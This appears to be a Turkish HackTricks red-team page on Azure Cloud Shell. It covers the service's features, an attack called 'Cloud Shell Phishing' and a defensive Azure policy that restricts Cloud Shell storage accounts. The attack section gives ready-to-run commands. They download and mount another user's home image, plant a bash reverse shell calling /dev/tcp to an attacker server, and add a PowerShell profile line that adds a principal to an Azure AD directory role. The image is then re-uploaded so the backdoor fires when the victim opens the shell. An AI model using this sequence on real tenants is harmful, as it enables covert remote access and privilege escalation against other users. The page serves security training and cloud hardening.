Az - Cloud Shell

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Azure Cloud Shell

Azure Cloud Shell, Azure kaynaklarını yönetmek için tasarlanmış, etkileşimli, kimlik doğrulamalı, tarayıcı erişimli bir terminaldir ve Bash veya PowerShell ile çalışma esnekliği sunar. 20 dakikalık bir etkinlik süresizliğinden sonra zaman aşımına uğrayan geçici, oturum başına bir host üzerinde çalışır ve $HOME konumunda 5-GB’lık bir dosya paylaşımı kullanarak dosyaları kalıcı hale getirir. Cloud Shell, Azure portalı, shell.azure.com, Azure CLI ve PowerShell belgeleri, Azure mobil uygulaması ve Visual Studio Code Azure Hesap uzantısı gibi birden fazla noktadan erişilebilir.

Bu hizmete atanan izinler yoktur, bu nedenle ayrıcalık yükseltme teknikleri yoktur. Ayrıca herhangi bir türde sayım yoktur.

Ana Özellikler

  • Önceden Yüklenmiş Araçlar: Cloud Shell, Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git ve vim, nano ve emacs gibi metin düzenleyicileri gibi kapsamlı bir önceden yüklenmiş araç seti içerir. Bu araçlar kullanıma hazırdır. Yüklenmiş paketleri ve modülleri listelemek için “Get-Module -ListAvailable”, “tdnf list” ve “pip3 list” komutlarını kullanabilirsiniz.
  • Azure sürücüsü (Azure:): Azure Cloud Shell’deki PowerShell, Azure kaynaklarını (Hesaplama, Ağ ve Depolama gibi) dosya sistemi benzeri komutlar kullanarak kolayca gezmenizi sağlayan Azure sürücüsünü (Azure:) içerir. Azure sürücüsüne geçmek için cd Azure: komutunu kullanın ve ana dizininize dönmek için cd ~ komutunu kullanın. Herhangi bir sürücüden kaynakları yönetmek için Azure PowerShell cmdlet’lerini kullanmaya devam edebilirsiniz.
  • Özel Araç Kurulumu: Cloud Shell’i bir depolama hesabı ile yapılandıran kullanıcılar, kök izinleri gerektirmeyen ek araçlar kurabilir. Bu özellik, Cloud Shell ortamının daha fazla özelleştirilmesine olanak tanır ve kullanıcıların kurulumlarını belirli ihtiyaçlarına göre uyarlamalarını sağlar.
  • $HOME kalıcılığı: Azure Cloud Shell’i ilk kez başlattığınızda, onu ekli bir depolama hesabı ile veya olmadan kullanabilirsiniz.
  • Depolama eklememek, oturum sona erdiğinde dosyaların silindiği geçici bir oturum oluşturur.
  • Oturumlar arasında dosyaları kalıcı hale getirmek için, otomatik olarak $HOME\clouddrive olarak eklenen bir depolama hesabı bağlama seçeneğiniz vardır; $HOME dizininiz bir Dosya Paylaşımında .img dosyası olarak kaydedilir.

Cloud Shell Phishing

Eğer bir saldırgan, yazma ve okuma erişimine sahip olduğu bir Depolama Hesabında diğer kullanıcıların görüntülerini bulursa, görüntüyü indirebilir, içine bir bash ve PS arka kapı ekleyebilir ve görüntüyü tekrar Depolama Hesabına yükleyebilir, böylece kullanıcı shell’e eriştiğinde komutlar otomatik olarak yürütülecektir.

  • Görüntüyü indir, arka kapıyı ekle ve yükle:
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>

# Mount image
cd /tmp/phishing_img/.cloudconsole
mkdir /tmp/cloudpoison
sudo mount acc_username.img /tmp/cloudpoison
cd /tmp/cloudpoison
sudo mkdir .config
sudo mkdir .config/PowerShell
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Bash backdoor
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc

# PS backdoor
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
cd /tmp

sudo umount /tmp/cloudpoison

# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
  • Sonra, kullanıcıyı https://shell.azure.com/ adresine erişmesi için oltalayın.

Cloud Shell Otomatik Depolama Hesaplarını Bulun ve Yasaklayın

Cloud Shell tarafından oluşturulan depolama hesapları ms-resource-usage:azure-cloud-shell etiketi ile işaretlenmiştir. Bu etikete sahip kaynakların oluşturulmasını devre dışı bırakacak bir Azure kaynak politikası oluşturmak mümkündür.

Cloud Shell tarafından etiketlerle oluşturulan tüm depolama hesaplarını bulun:

az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'

Etiketlere dayalı olarak bulut kabuğu depolaması için otomatik depolama hesaplarının oluşturulmasını yasaklayan politika:

{
displayName: "Restrict cloud shell storage account creation",
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
metadata: {
category: "Storage",
version: "1.0.0"
},
mode: "All",
parameters: {
effect: {
type: "String",
metadata: {
displayName: "Effect",
description: "Deny, Audit or Disabled the execution of the Policy"
},
allowedValues: [
"Deny",
"Audit",
"Disabled"
],
defaultValue: "Audit"
}
},
policyRule: {
if: {
allOf: [
{
field: "type",
equals: "Microsoft.Storage/storageAccounts"
},
{
field: "tags['ms-resource-usage']",
equals: "azure-cloud-shell"
}
]
},
then: {
effect: "[parameters('effect')]"
}
}
}

Referanslar

Süreklilik

Az - Cloud Shell Persistence

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin